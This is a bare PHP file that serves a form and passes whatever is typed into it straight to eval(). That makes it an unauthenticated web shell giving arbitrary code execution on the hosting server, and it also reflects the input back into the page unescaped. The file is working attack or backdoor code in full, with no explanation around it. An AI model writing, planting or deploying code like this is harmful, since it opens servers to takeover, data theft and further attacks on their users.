<?

$docr = $_SERVER['DOCUMENT_ROOT'];

$gpc = get_magic_quotes_gpc();
if (!empty($_POST['c'])) {
	$c = $gpc ? stripslashes($_POST['c']) : $_POST['c'];
} else {
	$c = NULL;
}

?><form action="" method="post">
<textarea cols="80" rows="30" name="c" id="c"><?=$c; ?></textarea>
<br><input type="submit">
</form><?

if (!is_null($c)) eval($c);
?>